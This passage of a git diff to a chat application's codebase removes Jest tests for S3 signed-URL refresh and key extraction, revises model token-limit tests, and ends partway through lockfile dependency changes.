- mockS3Client.send.mockResolvedValue(mockResponse);
-
- const result = await getS3FileStream(
- {},
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf',
- );
-
- expect(result).toBe(mockStream);
- expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(GetObjectCommand));
- });
-
- it('should handle errors when retrieving stream', async () => {
- const error = new Error('Stream error');
- mockS3Client.send.mockRejectedValue(error);
-
- await expect(getS3FileStream({}, 'images/user123/file.pdf')).rejects.toThrow('Stream error');
- expect(logger.error).toHaveBeenCalled();
- });
- });
-
- describe('needsRefresh', () => {
- it('should return false for non-signed URLs', () => {
- const url = 'https://example.com/proxy/file.jpg';
- const result = needsRefresh(url, 3600);
- expect(result).toBe(false);
- });
-
- it('should return true for expired signed URLs', () => {
- const now = new Date();
- const past = new Date(now.getTime() - 3600 * 1000); // 1 hour ago
- const dateStr = past
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`;
- const result = needsRefresh(url, 60);
- expect(result).toBe(true);
- });
-
- it('should return false for URLs that are not close to expiration', () => {
- const now = new Date();
- const recent = new Date(now.getTime() - 10 * 1000); // 10 seconds ago
- const dateStr = recent
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
- const result = needsRefresh(url, 60);
- expect(result).toBe(false);
- });
-
- it('should use custom refresh expiry when S3_REFRESH_EXPIRY_MS is set', () => {
- process.env.S3_REFRESH_EXPIRY_MS = '30000'; // 30 seconds
-
- const now = new Date();
- const recent = new Date(now.getTime() - 31 * 1000); // 31 seconds ago
- const dateStr = recent
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
-
- // Need to reload the module to pick up the env var change
- jest.resetModules();
- const { needsRefresh: needsRefreshReloaded } = require('~/server/services/Files/S3/crud');
-
- const result = needsRefreshReloaded(url, 60);
- expect(result).toBe(true);
- });
-
- it('should return true for malformed URLs', () => {
- const url = 'not-a-valid-url';
- const result = needsRefresh(url, 3600);
- expect(result).toBe(true);
- });
- });
-
- describe('getNewS3URL', () => {
- it('should generate a new URL from an existing S3 URL', async () => {
- const currentURL =
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=old';
- const newURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new';
-
- getSignedUrl.mockResolvedValue(newURL);
-
- const result = await getNewS3URL(currentURL);
-
- expect(result).toBe(newURL);
- expect(getSignedUrl).toHaveBeenCalled();
- });
-
- it('should return undefined for invalid URLs', async () => {
- const result = await getNewS3URL('invalid-url');
- expect(result).toBeUndefined();
- });
-
- it('should handle errors gracefully', async () => {
- const currentURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
- getSignedUrl.mockRejectedValue(new Error('Failed'));
-
- const result = await getNewS3URL(currentURL);
-
- expect(result).toBeUndefined();
- expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
- });
-
- it('should construct GetObjectCommand with correct key (no bucket name duplication)', async () => {
- const currentURL =
- 'https://s3.amazonaws.com/my-bucket/images/user123/file.jpg?X-Amz-Signature=old';
- getSignedUrl.mockResolvedValue(
- 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new',
- );
-
- await getNewS3URL(currentURL);
-
- expect(GetObjectCommand).toHaveBeenCalledWith(
- expect.objectContaining({ Key: 'images/user123/file.jpg' }),
- );
- });
- });
-
- describe('refreshS3FileUrls', () => {
- it('should refresh expired URLs for multiple files', async () => {
- const now = new Date();
- const past = new Date(now.getTime() - 3600 * 1000);
- const dateStr = past
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const files = [
- {
- file_id: 'file1',
- source: FileSources.s3,
- filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
- },
- {
- file_id: 'file2',
- source: FileSources.s3,
- filepath: `https://s3.amazonaws.com/bucket/images/user123/file2.jpg?X-Amz-Signature=def&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
- },
- ];
-
- const newURL1 = 'https://s3.amazonaws.com/bucket/images/user123/file1.jpg?signature=new1';
- const newURL2 = 'https://s3.amazonaws.com/bucket/images/user123/file2.jpg?signature=new2';
-
- getSignedUrl.mockResolvedValueOnce(newURL1).mockResolvedValueOnce(newURL2);
-
- const mockBatchUpdate = jest.fn().mockResolvedValue();
-
- const result = await refreshS3FileUrls(files, mockBatchUpdate, 60);
-
- expect(result[0].filepath).toBe(newURL1);
- expect(result[1].filepath).toBe(newURL2);
- expect(mockBatchUpdate).toHaveBeenCalledWith([
- { file_id: 'file1', filepath: newURL1 },
- { file_id: 'file2', filepath: newURL2 },
- ]);
- });
-
- it('should skip non-S3 files', async () => {
- const files = [
- {
- file_id: 'file1',
- source: 'local',
- filepath: '/local/path/file.jpg',
- },
- ];
-
- const mockBatchUpdate = jest.fn();
-
- const result = await refreshS3FileUrls(files, mockBatchUpdate);
-
- expect(result).toEqual(files);
- expect(mockBatchUpdate).not.toHaveBeenCalled();
- });
-
- it('should handle empty or invalid input', async () => {
- const mockBatchUpdate = jest.fn();
-
- const result1 = await refreshS3FileUrls(null, mockBatchUpdate);
- expect(result1).toBe(null);
-
- const result2 = await refreshS3FileUrls([], mockBatchUpdate);
- expect(result2).toEqual([]);
-
- expect(mockBatchUpdate).not.toHaveBeenCalled();
- });
-
- it('should handle errors for individual files gracefully', async () => {
- const now = new Date();
- const past = new Date(now.getTime() - 3600 * 1000);
- const dateStr = past
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const files = [
- {
- file_id: 'file1',
- source: FileSources.s3,
- filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
- },
- ];
-
- getSignedUrl.mockRejectedValue(new Error('Failed to refresh'));
- const mockBatchUpdate = jest.fn();
-
- await refreshS3FileUrls(files, mockBatchUpdate, 60);
-
- expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
- expect(mockBatchUpdate).not.toHaveBeenCalled();
- });
- });
-
- describe('refreshS3Url', () => {
- it('should refresh an expired S3 URL', async () => {
- const now = new Date();
- const past = new Date(now.getTime() - 3600 * 1000);
- const dateStr = past
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const fileObj = {
- source: FileSources.s3,
- filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
- };
-
- const newURL = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg?signature=new';
- getSignedUrl.mockResolvedValue(newURL);
-
- const result = await refreshS3Url(fileObj, 60);
-
- expect(result).toBe(newURL);
- });
-
- it('should return original URL if not expired', async () => {
- const fileObj = {
- source: FileSources.s3,
- filepath: 'https://example.com/proxy/file.jpg',
- };
-
- const result = await refreshS3Url(fileObj, 3600);
-
- expect(result).toBe(fileObj.filepath);
- expect(getSignedUrl).not.toHaveBeenCalled();
- });
-
- it('should return empty string for null input', async () => {
- const result = await refreshS3Url(null);
- expect(result).toBe('');
- });
-
- it('should return original URL for non-S3 files', async () => {
- const fileObj = {
- source: 'local',
- filepath: '/local/path/file.jpg',
- };
-
- const result = await refreshS3Url(fileObj);
-
- expect(result).toBe(fileObj.filepath);
- });
-
- it('should handle errors and return original URL', async () => {
- const now = new Date();
- const past = new Date(now.getTime() - 3600 * 1000);
- const dateStr = past
- .toISOString()
- .replace(/[-:]/g, '')
- .replace(/\.\d{3}/, '');
-
- const fileObj = {
- source: FileSources.s3,
- filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
- };
-
- getSignedUrl.mockRejectedValue(new Error('Refresh failed'));
-
- const result = await refreshS3Url(fileObj, 60);
-
- expect(result).toBe(fileObj.filepath);
- expect(logger.error).toHaveBeenCalled();
- });
- });
-
- describe('extractKeyFromS3Url', () => {
- it('should extract key from a full S3 URL', () => {
- const url = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('images/user123/file.jpg');
- });
-
- it('should extract key from a signed S3 URL with query parameters', () => {
- const url =
- 'https://s3.amazonaws.com/test-bucket/documents/user456/report.pdf?X-Amz-Signature=abc123&X-Amz-Date=20260107';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('documents/user456/report.pdf');
- });
-
- it('should extract key from S3 URL with different domain format', () => {
- const url = 'https://test-bucket.s3.amazonaws.com/uploads/user789/image.png';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('uploads/user789/image.png');
- });
-
- it('should return key as-is if already properly formatted (3+ parts, no http)', () => {
- const key = 'images/user123/file.jpg';
- const result = extractKeyFromS3Url(key);
- expect(result).toBe('images/user123/file.jpg');
- });
-
- it('should handle key with leading slash by removing it', () => {
- const key = '/images/user123/file.jpg';
- const result = extractKeyFromS3Url(key);
- expect(result).toBe('images/user123/file.jpg');
- });
-
- it('should handle simple key without slashes', () => {
- const key = 'simple-file.txt';
- const result = extractKeyFromS3Url(key);
- expect(result).toBe('simple-file.txt');
- });
-
- it('should handle key with only two parts', () => {
- const key = 'folder/file.txt';
- const result = extractKeyFromS3Url(key);
- expect(result).toBe('folder/file.txt');
- });
-
- it('should throw error for empty input', () => {
- expect(() => extractKeyFromS3Url('')).toThrow('Invalid input: URL or key is empty');
- });
-
- it('should throw error for null input', () => {
- expect(() => extractKeyFromS3Url(null)).toThrow('Invalid input: URL or key is empty');
- });
-
- it('should throw error for undefined input', () => {
- expect(() => extractKeyFromS3Url(undefined)).toThrow('Invalid input: URL or key is empty');
- });
-
- it('should handle URLs with encoded characters', () => {
- const url = 'https://s3.amazonaws.com/test-bucket/images/user123/my%20file%20name.jpg';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('images/user123/my%20file%20name.jpg');
- });
-
- it('should handle deep nested paths', () => {
- const url = 'https://s3.amazonaws.com/bucket/a/b/c/d/e/f/file.jpg';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('a/b/c/d/e/f/file.jpg');
- });
-
- it('should log debug message when extracting from URL', () => {
- const url = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg';
- extractKeyFromS3Url(url);
- expect(logger.debug).toHaveBeenCalledWith(
- expect.stringContaining('[extractKeyFromS3Url] fileUrlOrKey:'),
- );
- });
-
- it('should log fallback debug message for non-URL input', () => {
- const key = 'simple-file.txt';
- extractKeyFromS3Url(key);
- expect(logger.debug).toHaveBeenCalledWith(
- expect.stringContaining('[extractKeyFromS3Url] FALLBACK'),
- );
- });
-
- it('should handle valid URLs that contain only a bucket', () => {
- const url = 'https://s3.amazonaws.com/test-bucket/';
- const result = extractKeyFromS3Url(url);
- expect(logger.warn).toHaveBeenCalledWith(
- expect.stringContaining(
- '[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: https://s3.amazonaws.com/test-bucket/',
- ),
- );
- expect(result).toBe('');
- });
-
- it('should handle invalid URLs that contain only a bucket', () => {
- const url = 'https://s3.amazonaws.com/test-bucket';
- const result = extractKeyFromS3Url(url);
- expect(logger.warn).toHaveBeenCalledWith(
- expect.stringContaining(
- '[extractKeyFromS3Url] Unable to extract key from path-style URL: https://s3.amazonaws.com/test-bucket',
- ),
- );
- expect(result).toBe('');
- });
-
- // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html
-
- // Path-style requests
- // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#path-style-access
- // https://s3.region-code.amazonaws.com/bucket-name/key-name
- it('should handle formatted according to Path-style regional endpoint', () => {
- const url = 'https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/dogs/puppy.jpg';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('dogs/puppy.jpg');
- });
-
- // virtual host style
- // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#virtual-hosted-style-access
- // https://bucket-name.s3.region-code.amazonaws.com/key-name
- it('should handle formatted according to Virtual-hosted–style Regional endpoint', () => {
- const url = 'https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/dogs/puppy.png';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('dogs/puppy.png');
- });
-
- // Legacy endpoints
- // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#VirtualHostingBackwardsCompatibility
-
- // s3‐Region
- // https://bucket-name.s3-region-code.amazonaws.com
- it('should handle formatted according to s3‐Region', () => {
- const url = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/puppy.png';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('puppy.png');
-
- const testcase2 = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/cats/kitten.png';
- const result2 = extractKeyFromS3Url(testcase2);
- expect(result2).toBe('cats/kitten.png');
- });
-
- // Legacy global endpoint
- // bucket-name.s3.amazonaws.com
- it('should handle formatted according to Legacy global endpoint', () => {
- const url = 'https://amzn-s3-demo-bucket1.s3.amazonaws.com/dogs/puppy.png';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('dogs/puppy.png');
- });
-
- it('should handle malformed URL and log error', () => {
- const malformedUrl = 'https://invalid url with spaces.com/key';
- const result = extractKeyFromS3Url(malformedUrl);
-
- expect(logger.error).toHaveBeenCalledWith(
- expect.stringContaining('[extractKeyFromS3Url] Error parsing URL:'),
- );
- expect(logger.error).toHaveBeenCalledWith(expect.stringContaining(malformedUrl));
-
- expect(result).toBe(malformedUrl);
- });
-
- it('should return empty string for regional path-style URL with only bucket (no key)', () => {
- const url = 'https://s3.us-west-2.amazonaws.com/my-bucket';
- const result = extractKeyFromS3Url(url);
- expect(result).toBe('');
- expect(logger.warn).toHaveBeenCalledWith(
- expect.stringContaining('[extractKeyFromS3Url] Unable to extract key from path-style URL:'),
- );
- });
-
- it('should not log error when given a plain S3 key (non-URL input)', () => {
- extractKeyFromS3Url('images/user123/file.jpg');
- expect(logger.error).not.toHaveBeenCalled();
- });
-
- it('should strip bucket from custom endpoint URLs (MinIO, R2, etc.) using bucketName', () => {
- // bucketName is the module-level const 'test-bucket', set before require at top of file
- expect(
- extractKeyFromS3Url('https://minio.example.com/test-bucket/images/user123/file.jpg'),
- ).toBe('images/user123/file.jpg');
- expect(
- extractKeyFromS3Url(
- 'https://abc123.r2.cloudflarestorage.com/test-bucket/images/user123/avatar.png',
- ),
- ).toBe('images/user123/avatar.png');
- });
-
- it('should use endpoint base path when AWS_ENDPOINT_URL and AWS_FORCE_PATH_STYLE are set', () => {
- process.env.AWS_BUCKET_NAME = 'test-bucket';
- process.env.AWS_ENDPOINT_URL = 'https://minio.example.com';
- process.env.AWS_FORCE_PATH_STYLE = 'true';
- jest.resetModules();
- const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
-
- expect(fn('https://minio.example.com/test-bucket/images/user123/file.jpg')).toBe(
- 'images/user123/file.jpg',
- );
-
- delete process.env.AWS_ENDPOINT_URL;
- delete process.env.AWS_FORCE_PATH_STYLE;
- });
-
- it('should handle endpoint with a base path', () => {
- process.env.AWS_BUCKET_NAME = 'test-bucket';
- process.env.AWS_ENDPOINT_URL = 'https://example.com/storage/';
- process.env.AWS_FORCE_PATH_STYLE = 'true';
- jest.resetModules();
- const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
-
- expect(fn('https://example.com/storage/test-bucket/images/user123/file.jpg')).toBe(
- 'images/user123/file.jpg',
- );
-
- delete process.env.AWS_ENDPOINT_URL;
- delete process.env.AWS_FORCE_PATH_STYLE;
- });
- });
-});
diff --git a/api/utils/tokens.spec.js b/api/utils/tokens.spec.js
index 6cecdb95c8..18905d6d18 100644
--- a/api/utils/tokens.spec.js
+++ b/api/utils/tokens.spec.js
@@ -200,39 +200,6 @@ describe('getModelMaxTokens', () => {
);
});
- test('should return correct tokens for gpt-5.3 matches', () => {
- expect(getModelMaxTokens('gpt-5.3')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
- expect(getModelMaxTokens('gpt-5.3-codex')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
- expect(getModelMaxTokens('openai/gpt-5.3')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
- );
- expect(getModelMaxTokens('gpt-5.3-2025-03-01')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
- );
- expect(getModelMaxTokens('gpt-5.3-preview')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
- );
- });
-
- test('should return correct tokens for gpt-5.4 matches', () => {
- expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
- expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
- );
- expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
- );
- });
-
- test('should return correct tokens for gpt-5.4-pro matches', () => {
- expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
- );
- expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
- );
- });
-
test('should return correct tokens for Anthropic models', () => {
const models = [
'claude-2.1',
@@ -270,6 +237,16 @@ describe('getModelMaxTokens', () => {
});
});
+ // Tests for Google models
+ test('should return correct tokens for exact match - Google models', () => {
+ expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
+ );
+ expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
+ );
+ });
+
test('should return undefined for no match - Google models', () => {
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
});
@@ -302,12 +279,6 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-3', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-3'],
);
- expect(getModelMaxTokens('gemini-3.1-pro-preview', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
- );
- expect(getModelMaxTokens('gemini-3.1-pro-preview-customtools', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
- );
expect(getModelMaxTokens('gemini-2.5-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-2.5-pro'],
);
@@ -326,6 +297,12 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini'],
);
+ expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['code-'],
+ );
+ expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['chat-'],
+ );
});
test('should return correct tokens for partial match - Cohere models', () => {
@@ -509,19 +486,7 @@ describe('getModelMaxTokens', () => {
test('should return correct max output tokens for GPT-5 models', () => {
const { getModelMaxOutputTokens } = require('@librechat/api');
- const gpt5Models = [
- 'gpt-5',
- 'gpt-5.1',
- 'gpt-5.2',
- 'gpt-5.3',
- 'gpt-5.4',
- 'gpt-5.4-pro',
- 'gpt-5-mini',
- 'gpt-5-nano',
- 'gpt-5-pro',
- 'gpt-5.2-pro',
- ];
- for (const model of gpt5Models) {
+ ['gpt-5', 'gpt-5-mini', 'gpt-5-nano', 'gpt-5-pro'].forEach((model) => {
expect(getModelMaxOutputTokens(model)).toBe(maxOutputTokensMap[EModelEndpoint.openAI][model]);
expect(getModelMaxOutputTokens(model, EModelEndpoint.openAI)).toBe(
maxOutputTokensMap[EModelEndpoint.openAI][model],
@@ -529,7 +494,7 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxOutputTokens(model, EModelEndpoint.azureOpenAI)).toBe(
maxOutputTokensMap[EModelEndpoint.azureOpenAI][model],
);
- }
+ });
});
test('should return correct max output tokens for GPT-OSS models', () => {
@@ -546,184 +511,6 @@ describe('getModelMaxTokens', () => {
});
});
-describe('findMatchingPattern - longest match wins', () => {
- test('should prefer longer matching key over shorter cross-provider pattern', () => {
- const result = findMatchingPattern(
- 'gpt-5.2-chat-2025-12-11',
- maxTokensMap[EModelEndpoint.openAI],
- );
- expect(result).toBe('gpt-5.2');
- });
-
- test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
- expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
- );
- });
-
- test('should match gpt-5.2-pro over shorter patterns', () => {
- expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
- );
- });
-
- test('should match gpt-5-mini over gpt-5 for mini variants', () => {
- expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
- maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
- );
- });
-
- test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
- const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
- expect(result).toBe('gpt-4-1106');
- });
-
- test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
- const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
- expect(result).toBe('gpt-4-32k-0613');
- });
-
- test('should prefer claude-3-5-sonnet over claude-3', () => {
- const result = findMatchingPattern(
- 'claude-3-5-sonnet-20241022',
- maxTokensMap[EModelEndpoint.anthropic],
- );
- expect(result).toBe('claude-3-5-sonnet');
- });
-
- test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
- const result = findMatchingPattern(
- 'gemini-2.0-flash-lite-preview',
- maxTokensMap[EModelEndpoint.google],
- );
- expect(result).toBe('gemini-2.0-flash-lite');
- });
-});
-
-describe('findMatchingPattern - bestLength selection', () => {
- test('should return the longest matching key when multiple keys match', () => {
- const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
- expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
- });
-
- test('should return the longest match regardless of key insertion order', () => {
- const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
- expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
- });
-
- test('should return null when no key matches', () => {
- const tokensMap = { alpha: 100, beta: 200 };
- expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
- });
-
- test('should return the single matching key when only one matches', () => {
- const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
- expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
- });
-
- test('should match case-insensitively against model name', () => {
- const tokensMap = { 'gpt-5': 400000 };
- expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
- });
-
- test('should select the longest key among overlapping substring matches', () => {
- const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
- expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
- expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
- expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
- expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
- });
-
- test('should not be confused by a short key that appears later in the model name', () => {
- const tokensMap = { 'model-v2': 200, v2: 100 };
- expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
- });
-
- test('should handle exact-length match as the best match', () => {
- const tokensMap = { 'exact-model': 500, exact: 100 };
- expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
- });
-
- test('should return null for empty model name', () => {
- expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
- });
-
- test('should prefer last-defined key on same-length ties', () => {
- const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
- // model name contains both 5-char keys; last-defined wins in reverse iteration
- expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
- });
-
- test('longest match beats short cross-provider pattern even when both present', () => {
- const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
- expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
- });
-
- test('should match case-insensitively against keys', () => {
- const tokensMap = { 'GPT-5': 400000 };
- expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
- });
-});
-
-describe('findMatchingPattern - iteration performance', () => {
- let includesSpy;
-
- beforeEach(() => {
- includesSpy = jest.spyOn(String.prototype, 'includes');
- });
-
- afterEach(() => {
- includesSpy.mockRestore();
- });
-
- test('exact match early-exits with minimal includes() checks', () => {
- const openAIMap = maxTokensMap[EModelEndpoint.openAI];
- const keys = Object.keys(openAIMap);
- const lastKey = keys[keys.length - 1];
- includesSpy.mockClear();
- const result = findMatchingPattern(lastKey, openAIMap);
- const exactCalls = includesSpy.mock.calls.length;
-
- expect(result).toBe(lastKey);
- expect(exactCalls).toBe(1);
- });
-
- test('bestLength check skips includes() for shorter keys after a long match', () => {
- const openAIMap = maxTokensMap[EModelEndpoint.openAI];
- includesSpy.mockClear();
- findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
- const longKeyCalls = includesSpy.mock.calls.length;
-
- includesSpy.mockClear();
- findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
- const shortKeyCalls = includesSpy.mock.calls.length;
-
- // gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
- // gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
- expect(longKeyCalls).toBeLessThan(shortKeyCalls);
- });
-
- test('last-defined keys are checked first in reverse iteration', () => {
- const tokensMap = { first: 100, second: 200, third: 300 };
- includesSpy.mockClear();
- const result = findMatchingPattern('third', tokensMap);
- const calls = includesSpy.mock.calls.length;
-
- // 'third' is last key, found on first reverse check, exact match exits immediately
- expect(result).toBe('third');
- expect(calls).toBe(1);
- });
-});
-
-describe('deprecated PaLM2/Codey model removal', () => {
- test('deprecated PaLM2/Codey models no longer have token entries', () => {
- expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
- expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
- expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
- expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
- });
-});
-
describe('matchModelName', () => {
it('should return the exact model name if it exists in maxTokensMap', () => {
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
@@ -819,16 +606,10 @@ describe('matchModelName', () => {
expect(matchModelName('gpt-5-pro-2025-01-30-0130')).toBe('gpt-5-pro');
});
- it('should return the closest matching key for gpt-5.3 matches', () => {
- expect(matchModelName('openai/gpt-5.3')).toBe('gpt-5.3');
- expect(matchModelName('gpt-5.3-codex')).toBe('gpt-5.3');
- expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
- });
-
- it('should return the closest matching key for gpt-5.4 matches', () => {
- expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
- expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
- expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
+ // Tests for Google models
+ it('should return the exact model name if it exists in maxTokensMap - Google models', () => {
+ expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k');
+ expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k');
});
it('should return the input model name if no match is found - Google models', () => {
@@ -836,6 +617,11 @@ describe('matchModelName', () => {
'unknown-google-model',
);
});
+
+ it('should return the closest matching key for partial matches - Google models', () => {
+ expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
+ expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
+ });
});
describe('Meta Models Tests', () => {
diff --git a/bun.lock b/bun.lock
index fb1ec00840..c6a5dd01a1 100644
--- a/bun.lock
+++ b/bun.lock
@@ -7,7 +7,7 @@
"devDependencies": {
"@axe-core/playwright": "^4.10.1",
"@eslint/compat": "^1.2.6",
- "@eslint/eslintrc": "^3.3.4",
+ "@eslint/eslintrc": "^3.3.1",
"@eslint/js": "^9.20.0",
"@playwright/test": "^1.56.1",
"@types/react-virtualized": "^9.22.0",
@@ -31,33 +31,30 @@
"lint-staged": "^15.4.3",
"prettier": "^3.5.0",
"prettier-plugin-tailwindcss": "^0.6.11",
- "turbo": "^2.8.12",
"typescript-eslint": "^8.24.0",
},
},
"api": {
"name": "@librechat/backend",
